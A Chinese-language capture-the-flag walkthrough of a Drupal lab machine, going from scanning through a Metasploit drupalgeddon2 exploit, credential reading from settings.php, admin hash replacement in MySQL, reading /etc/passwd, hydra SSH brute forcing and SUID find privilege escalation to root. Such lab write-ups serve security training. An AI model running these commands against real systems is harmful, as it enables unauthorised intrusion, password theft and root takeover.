一、信息搜集

1、嗅探寻找存活主机

命令：arp-scan -l
找到对应ip地址

2、查找开放端口

命令：nmap -T4 -A -v 192.168.219.132发现开放22,80，111端口
开放80端口可以访问web https://192.168.219.132

3、查找敏感目录

命令：dirsearch -u 192.168.219.131 -x 403,404
没有什么有用的信息

二、漏洞利用

1、web访问

访问web，发现CMS为Drupal，并且有登录页面，尝试突破
使用msf查找Drupal漏洞命令：use drupal											寻找合适的payload
命令：use exploit/unix/webapp/drupal_drupalgeddon2		使用excellent的最好，这个介绍是injection
命令：show options										需要填写的内容(攻击ip和端口)
命令：run													等待攻击成功(如果不成功，就选择另一个payload)
命令：ls发现flag1.txt	:	Every good CMS needs a config file - and so do you.
命令：shell后python -c 'import pty;pty.spawn("/bin/bash")'开启终端

2、寻找Drupal 的config文件

命令：cd sites/default/settings.php
发现了flag2
/**** flag2* Brute force and dictionary attacks aren't the* only ways to gain access (and you WILL need access).* What can you do with these credentials?**/
里面发现了数据库的用户名和密码
$databases = array ('default' => array ('default' => array ('database' => 'drupaldb','username' => 'dbuser','password' => 'R0ck3t','host' => 'localhost','port' => '','driver' => 'mysql','prefix' => '',),),
);

3、寻找网站登录密码

命令：mysql -u drupaldb -p
命令：show databases;
命令：use drupaldb;
命令：select * from users;
发现密码是被加密的
drupal可以利用Drupal对数据库的加密方法，加密脚本位置在网站根目录下的scripts下。使用加密脚本加密新密码：123456，生成加密密文，将所得密文替换MySQL数据库中的原有密文，实现密码更新
命令：update users set pass='$S$DTQFbqOip8PKBx6aJ1V/1Bq4GJJBDI5j2.yp0XhGw2rUCBWjj22U' where name='admin';
使用admin和123456登录网站即可看到flag3
flag3:Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

4、寻找靶机的用户名和密码

命令：cat /etc/passwd
发现
flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash
考虑爆破flag4的密码
命令：hydra -l flag4 -P /usr/share/john/password.lst 192.168.219.132 ssh
爆破结果：[22][ssh] host: 192.168.219.132   login: flag4   password: orange
得到了flag4对应的密码是orange

5、远程登录

命令：ssh flag4@192.168.219.132
命令：ls发现flag4.txt
命令：cat flag4.txt得到flag4
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy.  Or maybe it is?

6、提权

命令：find / -perm -4000
发现find有root权限
命令：find / -name 233 -exec "/bin/sh" \;
提权到root权限
命令：cd /root
命令：cat thefinalflag.txt
